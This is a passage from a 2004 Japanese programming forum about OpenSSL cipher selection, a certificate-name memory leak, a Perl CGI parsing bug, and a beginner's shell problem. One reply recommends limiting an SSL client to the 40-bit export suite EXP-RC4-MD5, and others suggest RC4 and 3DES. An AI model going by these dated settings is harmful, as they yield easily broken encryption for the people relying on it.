>>3879 jeiu
> ciphersには具体的にはどのような設定をすればよいのでしょうか?
概念は 3874で書いたとおり
> 例えば 3DES と RC4 はいいけどDES は暗号強度が気に入らないから使わない
などです。

ソースでどう書くかという意味なら
      SSL_CTX_set_cipher_list(ctx, "3DES:RC4");

      SSL_CTX_set_cipher_list(ctx, "ALL:-DES");
などです。書き方は OpenSSL のマニュアル ciphers(1) に載っています。

> 「コンパイルオプションを使って...」は何を意味するのでしょう。
「あるHPでは」などと曖昧なことを書かずに
    http://www.ryouto.jp/linux/linux_22.html
とはっきり書いてください (上記の URL であってるかはわかりませんが)。
文脈を無視して一文を切り出されても、答える方は推測しなければ
いけないのでつらいです。たとえば上記の web であれば config で
      no-rc5 no-idea
と指定しているので、このページの作者は RC5 と IDEA の特許について
危惧しているのだなということがわかるわけです。クイズじゃないんです
から、はっきり質問したいことを書きましょう。

IDEA については SSL/TLS 上で使えますし、普通に OpenSSL をコンパイル
した場合は有効になっています。ただし FreeBSD の OpenSSL では IDEA が
使用できないようにコンパイルされていました。他の厳しめの OS (Debian
とか) でも同様かと思われます。SSL/TLS で使用できるようになっているか
どうかは
      % openssl ciphers
でわかります。

RC5 は SSL/TLS で使用できる暗号スイートに入っていないので、
問題ないでしょう。

SSL/TLS ではなく、共通鍵暗号方式として IDEA や RC5 を使いたくない
(openssl enc -e idea や openssl enc -e rc5 とできないようにしたい)
ということであれば、上記のページのようにコンパイルオプションを
設定すればよいでしょう。使用中の OpenSSL で使えるかどうかを知りたい
なら
      % openssl enc -h
で表示される Cipher Types を見ればよいです。

なお、サーバ側で制御したいのであれば、Apache などの設定ファイルで
      http://httpd.apache.org/docs-2.0/mod/mod_ssl.html#sslciphersuite
を設定してください。


今後質問される場合は、質問の背景と、何が知りたいのかを明確にする
ことをお勧めします。

例:
    - SSL/TLS クライアントを作っている
    - 〜というページに〜という記述があり、特許を侵害してしまわないか心配だ。
    - クライアント側で特定の暗号を使用しないように制御する方法はあるか?

No. 3881 # Goldwasser [URL] 2004/07/21 (水) 18:33:58
RSAもいいけど楕円曲線暗号もね。
というわけで、Rubyで素数位数の群をもつ楕円曲線を生成するスクリプトを組んでみました。

No. 3882 # ニッタン 2004/07/21 (水) 19:28:10
まだまだSSLを思考錯誤中です。

「SSL/TLS でアクセスしてみよう (2)」に記載されているサンプルについて
注意して頂きたい事があります。
HTTPSに接続後のサーバ証明書のsubjectとissuerを出力する部分で、
メモリーリークが発生する様です。

具体的には、
132: str = X509_NAME_oneline(X509_get_subject_name(server_cert), 0, 0);

135: str = X509_NAME_oneline(X509_get_issuer_name(server_cert), 0, 0);
の返り値strそれぞれを
OPENSSL_free( str )すればメモリーリークは直りました。
OpenSSLのバージョンは0.9.7aです。

OpenSSLドキュメントを見ても該当関数の事が記載されていなかったので
内部でアロケートしているかどうかソースを追っかけないと判りませんでした。

No. 3883 # 68user 2004/07/21 (水) 21:03:29
>>3882 ニッタン
> HTTPSに接続後のサーバ証明書のsubjectとissuerを出力する部分で、
> メモリーリークが発生する様です。
ありがとうございます。

      The functions X509_NAME_oneline() and X509_NAME_print() are
      legacy functions
ということなので、X509_NAME_oneline() を使うのはやめて、
X509_NAME_print_ex() に変更しました。XN_FLAG_RFC2253 に
したのは特に意味はありません。

# http://x68000.q-e-d.net/~68user/net/ssl-2.html

No. 3884 # jeiu 2004/07/22 (木) 12:56:35
ごもっとなご意見です。いろいろ推測させてしまったようです。
すみませんでした。
68userさんの推測とおり、
・SSL対応のWebクライアントを作っています。
・(Open)SSLの実装では特定の暗号化ロジックを使わないようしたい。
    公開鍵の暗号化としてRSAを使いたいが有効鍵ビットは512としたい
    共有鍵の暗号化としてRC4を使いたいが有効鍵ビットは40としたい


これまでに以下の情報をご提供いただきました。
1.使用したい暗号化ロジックは SSL_CTX_set_cipher_list()で指定
2.暗号化方式として特定のロジックを使用禁止にしたいのであれば
    コンパイルオプションを設定すればよい
について、有効鍵ビットを意識した設定は可能なのでしょか
いろんなサンプルを見ましたが、方式の設定はあっても鍵長まで意識
したものが見つかりませんでした。
また、SSL_CTX_set_cipher_list()での設定は必須になるのでしょうか。

なかなかイメージがわきません。よろしくお願いします。

No. 3885 # 68user 2004/07/22 (木) 22:18:35
>>3884 jeiu
> 公開鍵の暗号化としてRSAを使いたいが有効鍵ビットは512としたい
> 共有鍵の暗号化としてRC4を使いたいが有効鍵ビットは40としたい
では
    http://www21.ocn.ne.jp/~k-west/SSLandTLS/rfc2246-Ja.txt
の RSA_EXPORT_WITH_RC4_40_MD5 で決まりでしょう。RSA かつ
RC4 の 40bit となればこれしか選択肢がありません。

「RSA の鍵長 512bit 以下」という要件についてですが、これは
上記 RFC の
      7.4.3. ServerKeyExchangeメッセージ

          ServerKeyExchangeメッセージは (略) 以下の鍵交換方式で使用される。
                RSA_EXPORT (サーバ証明書の公開鍵が512ビットより長いとき)
          (略)
       注: 現在の米国輸出法では、米国から輸出したソフトウェアにおいては、512
         ビットより長いRSAのモジュラスを鍵交換において使用してはならない
         ことになっている。このメッセージを送信した場合、証明書内に含まれ
         ている512ビットより長いRSA鍵は、RSA_EXPORT鍵交換方式用の、512ビット
         以下の長さを持つ一時的RSA鍵に署名するのに使用される。
で自然とクリアできます。

結局、ciphers(1) に
      SSL_RSA_EXPORT_WITH_RC4_40_MD5 EXP-RC4-MD5
とあるので SSL_connect() の前に
      if ( SSL_CTX_set_cipher_list(ctx, "EXP-RC4-MD5") == 0 ){
            /* error */
      }
という処理を入れればよいでしょう。

No. 3886 # kawa 2004/07/23 (金) 12:16:04
68userさんのサイトで勉強させてもらってます。

http://x68000.q-e-d.net/~68user/net/rfc.html
こちらのページの、POPの「日本語訳」のところがリンクが失敗してる
ようですので、お知らせしておきます。

No. 3887 # 68user 2004/07/24 (土) 00:51:15
>>3886 kawa
> http://x68000.q-e-d.net/~68user/net/rfc.html
> こちらのページの、POPの「日本語訳」のところがリンクが失敗してる
> ようですので、お知らせしておきます。
修正しました。ご連絡ありがとうございました。

No. 3888 # スナフキン 2004/07/24 (土) 17:45:31
自前parseルーチンで以下の様な処理をしています。

foreach(split(/&/, $query)){
    my($name, $value) = split(/=/, $_);

〜日本語処理とかお約束の処理〜

# %FORMに格納
    if(exist $FORM{$name}){;#既に以前の$nameが有れば(2回目以降)
        push($FORM{$name}, $value);#@{$FORM{$name}}の配列に格納
    }else{
        $FORM{$name} = $value;#初めての出現ならば通常通りに格納
    }
}

細かい部分は省略してますが、例えば checkbox などで、

chbox1&val1&chbox1&val2&chbox1&val3

の様なデータが来た場合、

$ALL_VALUE = $FORM{chbox} . " @{$FORM{chbox}}";

として、

$ALL_VALUE = 'val1 val2 val3'

となる事を確認しています。

しかしなぜか、元のデータが複数の時の動作が理解できないのですが、
自分の理解が甘いような気もするので、ぜひとも動作の解説をしもらえない
でしょうか?


以下は確認用のサンプルです。2行目のコメントを外して違いを確認ください。
データの内容によって結果が違います。
変数の内容が判りやすいように print 文を入れています。

$query=qq(cbox1=1&cbox1=2&cbox1=3&cbox2=1&cbox2=2&cbox2=3);
#$query=qq(cbox1=1&cbox1=2&cbox1=3&cbox2=a&cbox2=b&cbox2=c);

    foreach(split(/&/, $query)){
        my($name, $value) = split(/=/, $_);
print qq($name=[$value]\n);

        if(exists $FORM{$name}){

            push(@{$FORM{$name}}, $value);
print qq( ->push:<$name>=[$value] count:). $#{$FORM{$name}} . qq(\n);
        }else{

            $FORM{$name} = $value;

        }
    }

print qq(Result1:[$FORM{'cbox1'} @{$FORM{'cbox1'}}]\n);
print qq(Result2:[$FORM{'cbox2'} @{$FORM{'cbox2'}}]\n);

無名配列が $value の内容によって識別できていないように見えます。

Windows版とLinux版のそれぞれ 5.6.1 で確認しました。

No. 3889 # スナフキン 2004/07/24 (土) 17:48:01
書き忘れましたが perl でのお話です。

No. 3890 # 68user 2004/07/24 (土) 18:18:52
>>3888 スナフキン
$query=qq(cbox1=1&cbox1=2&cbox1=3&cbox2=1&cbox2=4&cbox2=5);
foreach (split(/&/, $query)){
        my($name, $value) = split(/=/, $_);
        print qq($name=[$value]\n);
        if (exists $FORM{$name}){
                push(@{$FORM{$name}}, $value);
                print "\@{$FORM{$name}}=@{$FORM{$name}}\n";
        } else {
                $FORM{$name} = $value;
        }
}
print "\@1=@1\n";


cbox1=[1]
cbox1=[2]
@{1}=2
cbox1=[3]
@{1}=2 3
cbox2=[1]
cbox2=[4]
@{1}=2 3 4
cbox2=[5]
@{1}=2 3 4 5
@1=2 3 4 5

というわけで、最初のループで $FROM{$name} には 1 が入り、
@{$FORM{$name}} はシンボリックリファレンスと解釈され、結局
@1 に push しているわけです。

結局は一度目のループとそれ以降のループを分けず、常に
        push(@{$FORM{$name}}, $value);
すればよいと思いますが、そもそも何をやりたかったのかによりますかね。

No. 3891 # スナフキン 2004/07/24 (土) 20:47:20
!!!なんとなるほど!シンボリックリファレンスと解釈されたとは・・・
すばやい回答大変助かりました。ありがとうございます。

このルーチンはいくつかある他のプログラムの一部なんですが、既に$FORM{〜}
でアクセスする箇所が沢山有ったので、それらを変更する事なくという部分に
こだわりすぎました。

cgi-lib.pl とかを見るとparse時に \0 をセパレータにしてスカラーに入れて
いますが、そうではなく同名変数の配列にぶち込んじゃおうと思ったのですが
他の方法をかんがえてみます。

No. 3892 # じぇぃじぇぃ 2004/07/24 (土) 23:00:26
超初心者の質問でごめんなさい。

コマンドを入力すると、Command not found って、表示されるんです。
スペルは間違っていないのに。何が原因なのでしょうか?

また、コマンドを入力した時に、値段のような文字が、ずらっと表示される事が
あります。例:\245\242\245\257\245\273\245\271\270\242\244\254\244\242。
このようなことが起きる原因は、何でしょうか?

対処方法を教えて下さい。お願い致します。

No. 3893 # has 2004/07/25 (日) 01:15:39
>>3892 じぇぃじぇぃ
ネット上の文字のやりとりだけで環境を把握するのがちょっと大変そうですが…。

> コマンドを入力すると、Command not found って、表示されるんです。
結論から言うと、path変数が正しく設定されていないのが原因とは思いますが…。

とはいえ即解決には至れないので、まず回答にあたって次を教えてもらえますか?
・コマンドを入力するまでにどんな手順を踏むように指示されている?
・それに対しコマンドを入力するまでに実際にはどんな手順を踏んでいる?
・コマンド名は何?

> コマンドを入力した時に、値段のような文字が、ずらっと表示される事があります。
これも次を教えてください。
・使っている機器はPC?
    ・WindowsからTelnetやTeraTermなどを実行して開いたウィンドウで起こっている?
    ・それともPC上では直接Solarisやlinuxが動いていてそこで起こっている?
・機器はPCではなく大学の研究室かどこかのワークステーション?
・機器はワークステーションではなくX端末?


なお、この書き込みに関係なくすでに解決した場合でも、何をどうしたらうまく
できたのか、必ずここに書き込みしてください。

とりあえず今回は、質問するというだけでも一苦労だったとは思いますが、
回答する側もスムーズかつ効率的に解決する技術を習得しようとしている面も
あるので、質問する側としてもその時点でわかっていることをできるだけ
きちんと伝えることが大切かと思います。ぜひ実践していってください。

# まあそうは言っても、何が前提で、伝えるべき情報がどれなのかがわからなくて
# 余計困っているんだとは思いますが

No. 3894 # 68user 2004/07/26 (月) 00:11:55
ネットワークプログラミングの基礎知識に
    「*BSD で kqueue・kevent を使ってみよう」
          http://X68000.q-e-d.net/~68user/net/c-kqueue-1.html
を追加しました。

>>3892 じぇぃじぇぃ
> コマンドを入力すると、Command not found って、表示されるんです。
こちらもご参考に。
http://X68000.q-e-d.net/~68user/unix/pickup?Command+not+found

No. 3895 # じぇぃじぇぃ 2004/07/26 (月) 01:03:07
has 様。

ご丁寧なお返事ありがとうございます。

・コマンドを入力するまでにどんな手順を踏むように指示されている?
・それに対しコマンドを入力するまでに実際にはどんな手順を踏んでいる?
→サーバーにログインして、プロンプトを表示させる。
    (ここまではOK)その後、以下のような操作(コマンドの入力)を
    実行しています。
    
    nslookup www.○○○○○○.ne.jp
                                    ↓
                        (見つからない)
                                    ↓
    find /usr/bin -name nslookup -print
                                    ↓
                        (見つからない)
                                    ↓
    find /usr -name nslookup -print
                                    ↓
                        (見つからない)

・コマンド名は何?
→nslookup

・使っている機器はPC?
→Windows Xp

No. 3896 # じぇぃじぇぃ 2004/07/26 (月) 01:05:34
追記。


・機器はPCではなく大学の研究室かどこかのワークステーション?
→自宅PCです。

・機器はワークステーションではなくX端末?
→ワークステーション・X端末とは何でしょうか??


ほんとに、まぬけな答えをしてたら、ごめんなさい。
よろしくお願い致します。

No. 3897 # has 2004/07/27 (火) 04:06:18
>>3896 じぇぃじぇぃ
困っている内容:
Windows XPのPCから[telnet等のソフト]で[UNIX系のOS]マシンにログインし
「nslookup www.○○○○○○.ne.jp」を実行したが「Command not found」
と表示され正しく実行できない([]内は未だ不明)。

さらに教えてください。

1.nslookupが実行できない理由を調べる
  (ログイン先のマシンにnslookupコマンドが存在するか)
  (a)OSに依存しない確認
    ・ログイン先のマシンはどこのもの?(学校?自宅?レンタル?)
    ・ログイン先のマシンでnslookupが実行できた人は?できないのは1人だけ?
  (b)OSを特定してどこにあるか推定
    ・「uname -a」の実行結果は?

2.メッセージが正しく表示できない原因を調べる
  (1)文字コード種類を推定する
    「\???」は3桁の8進数であり、質問されたメッセージはEUCと思われる。
    (アクセス権があ)
  (2)リモートマシンでの言語設定を確認する
    「env | grep LANG」の実行結果は?

なおワークステーション・X端末については、別の機会としましょう。
我慢できなければ是非google等で調べてみてください。

No. 3898 # zsh 2004/07/27 (火) 12:36:47
>>3895 じぇぃじぇぃ
findコマンドでnslookupコマンドを検索されたようですが、
ここでの「見つからない」は、findコマンドが見つからなかったのか
findの結果、nslookupが見つからなかったのか判らないですね。
こういう場合は、実行ログを貼り付けた方が伝わり易いですよ。

No. 3899 # jeiu 2004/07/27 (火) 19:41:04
68user殿
ご回答ありがとうございます。返事がおくれて失礼しました。
しつこいようですがまた質問をさせてください(これで最後にします)。

教えていただいた暗号スイートですが、SSL_CTX_set_cipher_listで
複数指定はできないのでしょうか(リストというからには複数できるような...)。

No. 3900 # 68user 2004/07/27 (火) 23:01:40
>>3899 jeiu
> SSL_CTX_set_cipher_listで複数指定はできないのでしょうか
できます。マニュアル読んでますか?

>>3880 68user
で複数指定する例をあげていますし、さらにそこで
> 書き方は OpenSSL のマニュアル ciphers(1) に載っています。
とも書きました。ciphers(1) には
      The cipher list consists of one or more cipher strings
      separated by colons.
とあります。

なのにこういう質問が出てくるのはなぜですか?

Prev< No. 2685〜3900> Next  [最新発言に戻る] [過去ログ一覧]